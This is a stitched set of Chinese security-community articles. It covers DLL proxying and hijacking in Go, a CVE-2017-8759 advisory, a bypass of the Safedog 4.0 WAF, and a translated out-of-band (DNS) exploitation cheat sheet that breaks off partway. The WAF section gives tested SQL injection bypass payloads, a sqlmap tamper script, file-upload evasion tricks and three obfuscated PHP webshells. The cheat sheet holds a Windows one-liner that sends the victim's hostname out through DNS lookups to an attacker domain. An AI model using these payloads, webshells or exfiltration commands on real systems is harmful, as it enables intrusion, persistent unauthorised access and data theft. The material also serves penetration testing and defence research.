parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
args = parser.parse_args()
report = args.report
try:
f = open(report)
page = f.readlines()
f.close()
except:
print("[-] ERROR: open('%s')" % report)
return
for line in page:
if line.startswith("<tr>"):
cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
function_name = cols[1]
ordinal = cols[4].split(' ')[0]
dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))
if __name__ == '__main__':
main()
然后我们可以获得这样的输出
下面的具体怎么生成不再进行介绍，如果感兴趣可以查看 [Windows Privilege Escalation - DLL
Proxying](https://itm4n.github.io/dll-proxying/) 或
[基于AheadLib工具进行DLL劫持](https://www.write-bug.com/article/1883.html)
## dll 转发（dll 劫持）的 mingw 实现
如果有的人和我一样，不喜欢安装庞大的 Visual Studio，习惯用 gcc mingw 来完成，我们也是能够完成的
### def 文件介绍
这里我们使用 [gcc](https://gcc.gnu.org/) 编译器和
[mingw-w64](http://mingw-w64.org/doku.php)（这个是mingw的改进版）
此处我们不再采用直接把链接指令写入代码源文件的方式，而是采用[模块定义文件](https://docs.microsoft.com/en-us/cpp/build/reference/module-definition-dot-def-files?view=msvc-160) (.Def)
模块定义 (.def) 文件为链接器提供有关导出、属性和有关要链接的程序的其他信息的信息。.def 文件在构建 DLL 比较有用。详情可参见 [MSDN
Module-Definition (.Def) Files](https://docs.microsoft.com/en-us/cpp/build/reference/module-definition-dot-def-files?view=msvc-160)
当然，我们采用这种方式的原因是因为 .def 能被 mingw-w64
所支持，我们要做的就是在.def文件中写入我们要转发到原始dll的所有函数的列表，并在编译dll的时候在GCC中设置该 .def 文件参与链接。
### 简单的示例
#### 实现流程
这里我们采用一个简单的样例，我们采用常规写了一个 dll, 该 dll 文件导出一个 add 函数，该导出函数的作用就是把传入的两个数值进行相加
#include <Windows.h>
extern "C" int __declspec(dllexport)add(int x, int y)
{
return x + y;
}
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
return true;
}
我们将它编译成 dll 文件
gcc add.cpp -shared -o add.dll
然后我们写一个主程序来调用它
#include <stdio.h>
#include <Windows.h>
typedef int(*lpAdd)(int, int);
int main(int argc, char *argv[])
{
HINSTANCE DllAddr;
lpAdd addFun;
DllAddr = LoadLibraryW(L"add.dll");
addFun = (lpAdd)GetProcAddress(DllAddr, "add");
if (NULL != addFun)
{
int res = addFun(100, 200);
printf("result: %d \n", res);
}
FreeLibrary(DllAddr);
system("pause");
return 0;
}
然后我们进行编译执行
gcc main.cpp -o main.exe
./main.exe
可以看到如下输出
然后我们将我们刚才生成的 add.dll 重命名为 _add.dll
然后创建一个 .def 文件
functions.def
LIBRARY _add.dll
EXPORTS
add = _add.add @1
`LIBRARY _add.dll` 代表转发到 `_add.dll`，下面的 `EXPORTS` 定义了需要转发的函数，`=` 前面是导出函数名，`=`
后面的 `_add` 代表要转发到的 dll 的名称，`add` 代表要转发到 `_add.dll` 的哪一个导出函数，关键在于 `@1`
我们可以拿 [DLL Export Viewer](http://www.nirsoft.net/utils/dll_export_viewer.html)
或 [StudyPE+](https://bbs.pediy.com/thread-246459-1.htm) 等工具看看
我们可以看到 `Ordinal`, 这个是导出函数序号，就是 `@1` 的来源，如果有多个导出函数，依次写下来即可
然后编写我们的恶意 dll
#include <Windows.h>
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
return true;
}
如上所示，当然，这只是一个样例，所以我并没有写下任何恶意代码
**现在可以编译我们的恶意dll了**
gcc -shared -o add.dll evil.cpp functions.def
1. -shared表示我们要编译一个共享库（非静态）
2. -o指定可执行文件的输出文件名
3. add.dll是我们想给我们的恶意 dll 起的名字
4. evil.cpp是我们在其中编写恶意 dll 代码的 .cpp 文件
如果编译成功的话，你应该能在同目录下找到刚刚生成好的恶意 dll（add.dll）
我们再使用 PE 查看工具看看导出表
可以看到中转输出表上已经有了
注意我们这个 dll 并没有写任何功能性代码，让我们使用刚才编译的 main.exe 测试一下
可以发现功能转发正常
当然，当导出函数过多的时候我们不可能一个个自己去导出表里抄，可以写一个脚本自动化完成这个工作，不过这不是我们本文的重点，或者你可以使用 mingw-w64
里面自带的 gendef.exe 工具
#### .def 和 .exp 文件
**exp** ：
文件是指导出库文件的文件，简称导出库文件，它包含了导出函数和数据项的信息。当LIB创建一个导入库，同时它也创建一个导出库文件。如果你的程序链接到另一个程序，并且你的程序需要同时导出和导入到另一个程序中，这个时候就要使用到exp文件(LINK工具将使用EXP文件来创建动态链接库)。
**def** ：
def文件的作用即是，告知编译器不要以microsoft编译器的方式处理函数名，而以指定的某方式编译导出函数（比如有函数func，让编译器处理后函数名仍为func）。这样，就可以避免由于microsoft
VC++编译器的独特处理方式而引起的链接错误。
从上面的介绍中我们可以看出 .exp 文件可以用在链接阶段，所以我们可以先使用 `dlltool` 工具将 .def 转化为 .exp 文件，然后编译
`evil.cpp` 到 `evil.o` 再手动进行链接。
gcc -c -O3 evil.cpp
dlltool --output-exp functions.exp --input-def functions.def
ld -o add.dll functions.exp evil.o
#### 额外的说明
当然，你也可以通过 clang 来完成这项工作
clang -shared evil.cpp -o add.dll -Wl"/DEF:functions.def"
## 我们如何用 Golang 来实现转发 dll
Golang 提供了官方的动态链接库（dll）编译命令 `go build -buildmode=c-shared -o exportgo.dll
exportgo.go`，根据我们前面铺垫的基础，现阶段所需要思考的是： **如何把 .def 文件或 .exp 文件也带入进去？**
下文我将用 gcc 作为 cgo 的外部链接器，clang也可以按照同样的思想
### 尝试与思考
为什么不考虑利用cgo直接在c代码中写 `#progma comment(linker, '/EXPORT')`，这个的主要原因是 Golang 的 cgo
能力现阶段只支持 clang 和 gcc，MSVC编译器并不支持9。
让我们现在来思考一下整个编译流程：
* **预处理**
预处理用于将所有的#include头文件以及宏定义替换成其真正的内容
* **编译**
将经过预处理之后的程序转换成特定汇编代码(assembly code)的过程
* **汇编**
汇编过程将上一步的汇编代码转换成机器码(machine
code)，这一步产生的文件叫做目标文件，是二进制格式。gcc汇编过程通过as命令完成，这一步会为每一个源文件产生一个目标文件
* **链接**
链接过程将多个目标文以及所需的库文件(.so等)链接成最终的可执行文件(executable file)。
前三步都是在将代码处理成二进制机器码，而我们 **所要操控的导出表是属于文件格式的一部分，所以应该是需要在链接这个步骤做文章**
借助这个思路，我们对上面的样例做做文章。
首先把我们的 `evil.cpp` 编译汇编成目标文件，然后链接时加入额外控制。
# evil.cpp 编译汇编成 evil.o 目标文件（下面的 -O3 是为了启用 O3 优化，可选）
gcc -c O3 evil.cpp
# 和 .def 文件一起进行链接
ld -o add.dll functions.def evil.o
或者利用上文中先将 .def 转化成 .exp 再进行手动链接，我们均能得到我们预期的转发dll。
### golang 中的实现
我们的目的是需要把 .def 或 .exp 文件放入整个编译流程的链接环节中去。
首先我们需要先了解一下 cgo 的工作方式11：它用c编译器编译c，用Go编译器编译Go，然后使用 gcc 或 clang
将他们链接在一起，我们甚至能够通过 CGO_LDFLAGS 来将flag传递至链接器。
在我们Golang程序编译命令中，相信大家使用过 `-ldflags=""` 选项，这个其实是 `go tool link` 带来的，go build
只是一个前端，Go 提供了一组低级工具来编译和链接程序，go build只需收集文件并调用这些工具。我们可以通过使用-x标志来跟踪它的作用。不过这里我们并不关心这个。
我们去看看 [go tool link的说明书](https://pkg.go.dev/cmd/link)，帮助文件里面提到了
-extld linker
Set the external linker (default "clang" or "gcc").
-extldflags flags
Set space-separated flags to pass to the external linker.
`-extld` 一般我们不需要更改，也就是我们只需要想办法修改 `-extldflags` 让链接过程带入我们的 .def 或 .exp 文件即可。
但是，我们刚才使用 `ld` 编译的时候，都是直接将 .def 或 .exp 文件传入的，如何通过 `ld` 的参数传入呢？
在 [gcc 的链接选项](https://gcc.gnu.org/onlinedocs/gcc/Link-Options.html) 里，有一个选项是
`-Wl`，用法为 `-Wl,option`，它的作用就是将`-Wl`后的option作为标识传递给 `ld` 命令，如果 option 中包含
`,`，则根据 `,` 拆分为多个标识传递给 `ld`，可能看到这里你对于这个选项还是一知半解，下面举个例子
gcc -c evil.cpp
ld -o add.dll functions.def evil.o
等同于
gcc -shared -o add.dll -Wl,functions.def evil.cpp
等同于
gcc -shared -Wl,functions.def,-o,add.dll evil.cpp
也就是 `-Wl` 后面的东西都会传递链接器
所以我们将 .def 或 .exp 文件利用 `-Wl` 选项设置到 `-extldflags` 上去即可。
所以我们现在可以创建一个样例 go 程序用来编译 dll
main.go
package main
import "C"
func main() {
// Need a main function to make CGO compile package as C shared library
}
然后进行编译
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.def" main.go
**注意** ：-Wl后面要写上 .def 或 .exp 文件的绝对路径，主要是由于调用程序时候的工作路径问题，只需要记住这一点即可。
现在我们得到了一个 golang 编译出来的转发dll
当然，你可能会对那个 `_cgo_dummy_export` 导出函数比较疑惑，这个是golang编译的dll所特有的，如果你想要去除掉它，可以使用
.exp 来进行链接
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.exp" main.go
## dll 转发的总结
其实 cgo 主要的编译手段为：用c编译器编译c，用Go编译器编译Go，然后使用 gcc 或 clang
将他们链接在一起。我们所需要做的只是将它们粘合在一起。
## 在 Golang 中如何实现恶意 dll
我们已经知道了该怎么在 Golang 中实现转发 dll，接下来我们可以尝试实现恶意 dll 了。
### init 写法
如果你看这篇文章，相信你已经知道 Go 会默认执行包中的 init() 方法。所以我们可以把我们的恶意代码定义到这个函数里面去。
一般的dll实现方式为
package main
func Add(x, y int) int {
return x + y
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
我们只需要加上一个 init 方法，并且让恶意代码异步执行即可（防止 LoadLibrary 卡住）
package main
func init() {
go func() {
// 你的恶意代码
}()
}
func Add(x, y int) int {
return x + y
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
### 对于 windows dll 更细粒度的控制
对于windows dll，DllMain11 是一个可选的入口函数
对于 DllMain 的介绍，我这里就不再赘述了，感兴趣的可以自行进行查询
系统是在什么时候调用DllMain函数的呢？静态链接或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。DllMain的第二个参数fdwReason指明了系统调用Dll的原因，它可能是:：
* `DLL_PROCESS_ATTACH`: 当一个DLL文件首次被映射到进程的地址空间时
* `DLL_PROCESS_DETACH`: 当DLL被从进程的地址空间解除映射时
* `DLL_THREAD_ATTACH`: 当进程创建一线程时，第n(n>=2)次以后地把DLL映像文件映射到进程的地址空间时，是不再用DLL_PROCESS_ATTACH调用DllMain的。而DLL_THREAD_ATTACH不同，进程中的每次建立线程，都会用值DLL_THREAD_ATTACH调用DllMain函数，哪怕是线程中建立线程也一样
* `DLL_THREAD_DETACH`: 如果线程调用了ExitThread来结束线程（线程函数返回时，系统也会自动调用ExitThread），系统查看当前映射到进程空间中的所有DLL文件映像，并用DLL_THREAD_DETACH来调用DllMain函数，通知所有的DLL去执行线程级的清理工作
这些流程根据你自己的需求来进行控制。当然，如果你有过 Windows 编程经验，应该对这个比较熟悉。
Golang 是一个有 GC 的语言，需要在加载时运行 Golang 本身的运行时，所以暂时没有太好的方案在 Golang 中实现 DllMain
让外层直接调用入口点，因为没有初始化运行时。
我们可以变相通过 cgo 来实现这个目的。总体思路为，利用 C 来写 DllMain，通过 c 来调用 Golang 的函数
以下示例代码大多来自
[github.com/NaniteFactory/dllmain](https://github.com/NaniteFactory/dllmain)
#### c 实现 DllMain
首先我们可以在 c 中定义我们自己的 DllMain
#include "dllmain.h"
typedef struct {
HINSTANCE hinstDLL; // handle to DLL module
DWORD fdwReason; // reason for calling function // reserved
LPVOID lpReserved; // reserved
} MyThreadParams;
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
MyThreadParams params = *((MyThreadParams*)lpParam);
OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
free(lpParam);
return 0;
}
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason) {
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
MyThreadParams* lpThrdParam = (MyThreadParams*)malloc(sizeof(MyThreadParams));
lpThrdParam->hinstDLL = _hinstDLL;
lpThrdParam->fdwReason = _fdwReason;
lpThrdParam->lpReserved = _lpReserved;
HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, lpThrdParam, 0, NULL);
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
}
注意此处最好使用 `CreateThread` 来进行外部 Go 函数的调用，不然可能因为初始化 Go 运行时的问题导致死锁。
我们在该代码中 `DLL_PROCESS_ATTACH` 时异步调用了 OnProcessAttach，我们在 Golang 中实现这个恶意函数
#### Golang 恶意代码
我们现在来定义我们的恶意代码实现
package main
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
// MessageBoxPlain of Win32 API.
func MessageBoxPlain(title, caption string) int {
const (
NULL = 0
MB_OK = 0
)
return MessageBox(NULL, caption, title, MB_OK)
}
// OnProcessAttach is an async callback (hook).
//export OnProcessAttach
func OnProcessAttach(
hinstDLL unsafe.Pointer, // handle to DLL module
fdwReason uint32, // reason for calling function
lpReserved unsafe.Pointer, // reserved
) {
MessageBoxPlain("OnProcessAttach", "OnProcessAttach")
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
此处我们实现了恶意函数 `OnProcessAttach`，只是弹个窗来模拟恶意代码。
#### 组合 Golang 和 c 编译
现在我们有了 .go 和 .c，还需要把它们两个粘合起来
##### 第一种方案
你可以通过 cgo 的一般写法，在 .go 的注释中把 c 代码拷贝进去，例如
package main
/*
#include "dllmain.h"
typedef struct {
HINSTANCE hinstDLL; // handle to DLL module
DWORD fdwReason; // reason for calling function // reserved
LPVOID lpReserved; // reserved
} MyThreadParams;
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
MyThreadParams params = *((MyThreadParams*)lpParam);
OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
free(lpParam);
return 0;
}
...c源码文件
*/
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
...go 源码文件
##### 第二种方案
或者你也可以给 .c 写一个头文件 .h，然后在 .go 中导入这个头文件，在 `go build` 的时候 Go 编译器会默认找到该目录下的
.c、.h、.go 一起编译。
比如你可以创建一个 .h 文件
#include <windows.h>
void OnProcessAttach(HINSTANCE, DWORD, LPVOID);
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved // reserved
);
然后在 .go 中引用它
package main
/*
#include "dllmain.h"
*/
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
然后就可以一起编译了。
### 导出表的问题
确实，现在我们可以编译出恶意的转发dll了，但是我们可能会发现导出表里面其实有很多奇奇怪怪的导出函数
这些导出函数可能会成为某些特征
我们的原始dll并没有这些导出函数，但是生成的转发dll这么多奇怪的导出函数该怎么去掉？
我们可以同样可以使用上文的 exp 文件来解决，它就是一个导出库文件，来定义有哪些导出的。
根据上文的方法我们使用 dlltool 从 def 文件生成一个 exp 文件，然后编译时加入链接即可。
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,/home/lab/Repo/go-dll-proxy/dllmain/functions.exp -s -w"
`ldflags` 里面的新增的 `-s -w` 只是为了减小一点体积去除一下符号，可选。
## 最后的最后
仓库相关示例已经上传至 [github.com/akkuman/go-dll-evil](https://github.com/akkuman/go-dll-evil)
感兴趣的可以查看。
## 参考资料
* [1] [PE知识复习之PE的导出表](https://cloud.tencent.com/developer/article/1432448)
* [2] [DLL Proxying](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)
* [3] [/EXPORT (Exports a Function)](https://docs.microsoft.com/en-us/cpp/build/reference/export-exports-a-function?view=msvc-160)
* [4] [Windows Privilege Escalation - DLL Proxying](https://itm4n.github.io/dll-proxying/)
* [5] [DLL Hijacking using DLL Proxying technique](https://lucabarile.github.io/Blog/dll_hijacking_and_proxying/index.html)
* [6] [DLL之def和exp文件作用](https://www.cnblogs.com/depend-wind/articles/11885131.html)
* [7] [mingw环境中使用dlltool工具来生成动态库的步骤](https://wenku.baidu.com/view/4ba786cbb9f3f90f76c61bc0.html)
* [8] [Specifying the DEF file when compiling a DLL with Clang](https://stackoverflow.com/a/62360059/16654916)
* [9] [issues - cmd/link: support msvc object files](https://github.com/golang/go/issues/20982)
* [10] [gcc Options for Linking](https://gcc.gnu.org/onlinedocs/gcc/Link-Options.html)
* [11] [RUSTGO: CALLING RUST FROM GO WITH NEAR-ZERO OVERHEAD](https://blog.filippo.io/rustgo/)
* [12] [Go Execution Modes](https://docs.google.com/document/d/1nr-TQHw_er6GOQRsF6T43GGhFDelrAP0NqSS_00RgZQ/preview)
* [13] [go tool link](https://pkg.go.dev/cmd/link)
* [14] [DllMain entry point](https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain)
* [15] [DllMain简介和DLL编写说明](https://www.geek-share.com/detail/2561615664.html)
* [16] [Call Go function from C function](https://dev.to/mattn/call-go-function-from-c-function-1n3)
* [17] [github.com/NaniteFactory/dllmain](https://github.com/NaniteFactory/dllmain)
* [18] [How to implement DllMain entry point in Go](https://stackoverflow.com/a/67970294/16654916) | 社区文章 |
# 【漏洞预警】Microsoft .NET Framework漏洞（CVE–2017–8759）预警
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**事件背景**
8月24日，360核心安全事业部捕获到一新型的office高级威胁攻击。12日，微软进行了大规模安全更新，其中包括 **CVE-2017-8759**
。同一时间，FireEye也公布了其发现的 **CVE-2017-8759**
野外利用。因为该漏洞影响范围广，利用难度低，360CERT紧急对其跟进分析。发出预警通报。
**危险等级**
**[+]严重**
**影响范围**
Microsoft .NET Framework 4.7
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2
**漏洞定位**
**CVE-2017-8759** 漏洞原因为对wsdl的xml处理不当，如果提供的包含CRLF序列的数据，则 **IsValidUrl**
不会执行正确的验证。查阅.NET源码，定位到了问题处理接口：
以及漏洞触发点：
函数此处生成logo.cs并调用csc.exe进行编译为dll，捕获到cs源文件以及生成的dll。
整个过程为：
1. 请求恶意的SOAP WSDL
2. .NET Framework的System.Runtime.Remoting.ni.dll中的IsValidUrl验证不当
3. 恶意代码通过.NET Framework的System.Runtime.Remoting.ni.dll中PrintClientProxy写入cs文件。
4. csc.exe对cs文件编译为dll
5. Office加载dll
6. 执行恶意代码
**漏洞验证**
**修复方案**
针对该漏洞的攻击样本，360安全卫士已在第一时间跟进查杀，请广大用户近期不要打开来路不明的office文档，同时相关单位也需要警惕此类0day漏洞的定向攻击，并使用360安全卫士安装漏洞补丁和防御可能的漏洞攻击。
安全公告: <https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8759>
**时间线**
2017年8月24日 360核心安全事业部捕获攻击样本
2017年9月12日 微软发布安全更新，包含此漏洞
2017年9月12日 FireEye发布野外利用分析
2017年9月13日 360核心安全事业部发布预警分析
2017年9月14日 360CERT跟进发布安全预警 | 社区文章 |
# SQL注入Bypass安全狗4.0
**最近准备多搞搞实战，就准备从绕waf开始，第一位受害者就选安全狗4.0叭。**
源代码：
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>check</title>
</head>
<?php
$agent = $_SERVER['HTTP_USER_AGENT'];
include 'connection.php';
function LoginCheck()
{
if (isset($_GET['username']) && isset($_GET['password']) && !empty($_GET['username']) && !empty($_GET['password'])){
$username = trim(@$_GET['username']);
$password = trim(@$_GET['password']);
if (empty($username) || empty($password)) {
echo"
<body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
<br><br><br>
<h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Not be Empty</h1>
</body>
";
exit();
}
}
else{
echo"
<body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
<br><br><br>
<h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Input your username and password</h1>
</body>
";
exit();
}
return array($username,$password);
}
function MysqlSelect($conn,$data) //注册
{
$sql = "select * from geekuser where username='".$data[0]."' and password='".$data[1]."'";
$result = mysqli_query($conn,$sql);
if ($result) {
$row = mysqli_fetch_assoc($result);
if ($row) {
echo "
<body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
<br><br><br>
<h1 style='font-family:verdana;color:red;text-align:center;'>Login Success!</h1><br><br><br>
</br>
<p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Hello ".$row['username']."！</p>"."</br></br>
<p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Your password is '".$row['password']."'</p>
</body>
";
}else{
echo "
<body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
<br><br><br>
<h1 style='font-family:verdana;color:red;text-align:center;font-size:70px;'>NO,Wrong username password！！！</h1>
</body>
";
}
}else {
echo"
<body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
<br><br><br>
<h1 style='font-family:verdana;color:#ffffff;text-align:center;font-size:15px'>
".
mysqli_error($conn)
."</h1>
</body>";
}
}
$data = LoginCheck();
MysqlSelect($conn,$data);
?>
</html>
## 1=1绕过
`'and 1=1-- -`被拦截：
&符号可以绕
'%261-- - '%26true-- - '%260-- - '%26false-- -
xor同样可以绕：
'Xor 1-- - 'Xor true-- -
`'or length(database()=4)-- -`会被ban，这样绕：
'%26(length(database/**/())=4)-- - '%26(ascii(@@version)=53)-- -
这样也可以
1'or -1=-1-- - 1'or -0=-0-- - ...
内敛注释：
1'or /*!1=1*/-- -
或者简单粗暴点的 直接绕过and和or：
/*!11440OR*/
/*!11440AND*/
## order by 绕过
%23%0a绕过
order%23%0aby 3
内敛注释加注释绕过：
1'/*!order /*!/*/**/by*/4-- - 1'/*!order /*/*%/**/by*/4-- - 1'/*!order /*!/*/**//**/by*/4-- - 1'/*!order /*!/*/**//*/**/by*/4-- -
同样类似上面绕过and方法：
/*!11440order*/
## union select绕过：
利用内敛注释与注释的混淆绕过
1'/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- - #这个地方select后面的/**/要加，不过如果语句复杂一点就不用加了。
/*!11440union*/：
/*!11440union*/
/*!select/*!/*/**/*/
## 系统函数绕过
单独的括号和函数名都不会检测，思路就是分开函数名和括号就行：
version () #直接空格
user%0a() #这个地方%0a~%20有很多，类似绕过空格
database/**/() #注释符
user/*!*/() #内敛注释
...
## 函数名绕过
在报错注入的时候可以用这个格式绕过：
/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
...
## information_schema.*绕过
这个地方没有找到方法绕过,不过Mysql>5.6.x`mysql` 库里增添了两个新表，`innodb_index_stats` 和
`innodb_table_stats`
这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测，详见[这篇文章](http://www.cl4y.top/information%e8%a2%abban%e7%9a%84%e6%83%85%e5%86%b5%e4%b8%8b%e8%bf%9b%e8%a1%8csql%e6%b3%a8%e5%85%a5/)
最后就可以拖库了：
## 总结（干货）
有几个万能绕过的payload：
安全狗会正则想要ban掉的字符，比如如果将一个参数分割之后union
select两个单词顺序出现就会ban掉，这里就利用正则的缺陷，让union或select不能单独分离出来，就可以绕过，比如这几个payload：
#针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
#针对单独的一个关键字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/
以上亲测好用，我觉得有这种payload，安全狗就是纸窗户qwq。
最后附上tamper脚本：
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
payload=payload.replace("AND","/*!AND/*!/*/**/*/")
payload=payload.replace("OR","/*!OR/*!/*/**/*/")
payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")
return payload
# 文件上传Bypass安全狗4.0
**环境是win+apache2.4+安全狗4.0**
**大致思路呢，就是考虑到安全狗在检测的时候，是正则常规request包，但是apache处理request包的时候有容错，这就造成了差异性，安全狗就会提取不出应该提取的部分，从而绕过**
**文件名回车绕过：**
**==绕过**
**双写`filename=;`（诡异的request包）**
**%00截断**
在文件名后面加上%00然后`CTRL+SHIFT+U`转成字符，这里后面不用加`.jpg`也可以
给一个GitHub免杀一句话的项目：[点击这里](https://github.com/yzddmr6/webshell-venom)。
然后整了一些过waf的马：
<?php
$a='ass';
$b='ert';
$funcName=$a.$b //assert
$x='funcName';
$$x($_REQUEST['Name']);
?>
<?php
class User {
public $name='';
function __destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=''.$_REQUEST['a'];
?>
<?php
function a($a){
return $a;}
eval (a($_REQUEST)['hh']);
?> | 社区文章 |
原文：
<https://www.notsosecure.com/oob-exploitation-cheatsheet/>
介绍
带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中，攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求，然后，攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功是基于防火墙出站规则的，即允许存在漏洞的系统和外围防火墙的出站请求。
在这篇文章中，我们会讲DNS带外通道技术作为OOB攻击的最佳选择，因此下面提到的所有技术中，我们会着重讲解DNS。
设置：启动DNS/OOB查询的基础设施
前提条件
具有静态IP的公网服务器：出于演示目的，我们将使用Google云平台(GCP)提供的vps服务。
注册域：访问注册域设置，将解析权委托给你的Nameserver。我们将使用oob.dnsattacker.com来进行DNS解析。
步骤
使用GCP服务创建一个Linux系统，具有静态IP地址。确保你有这台服务器的root权限。如果你之前没有用过GCP服务，你可以参考这个指南来创建你自己的vps。
我的vps如图：
我们在注册门户网的DNS设置中为我们的域添加了两条记录。第一条使用Nameserver定义了一个子域。下一步，我们为nameserver定义了A记录(GCP服务器的IP地址)。这些设置会将子域所有的DNS请求转发到GCP服务器中。设置如下图：
我们可以使用tcpdump来观察服务器上的DNS请求，如图：
**OS命令注入：OOB**
我们可以通过解析精心构造的DNS名称并查找关联的DNS查询来检测Web应用程序中的OS代码注入漏洞。
**检测**
DNS
攻击者：使用wireshark/tcpdump指定53端口来观察响应
sudo tcpdump -n port 53
注意：在DNS命令中，我们还可以明确定义用来解析的namenserver。
Windows
nslookup test.oob.dnsattacker.com
ping ping.oob.dnsattacker.com
Unix
host host.oob.dnsattacker.com
同样地，我们也可以使用下面的命令：
dig test.oob.dnsattacker.com
ping test.oob.dnsattacker.com
nslookup test.oob.dnsattacker.com
**漏洞利用和数据提取**
DNS
注意：使用wireshark/tcpdump指定53端口来观察响应
tcpdump -n port 53
Windows
受害主机：
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
攻击者：
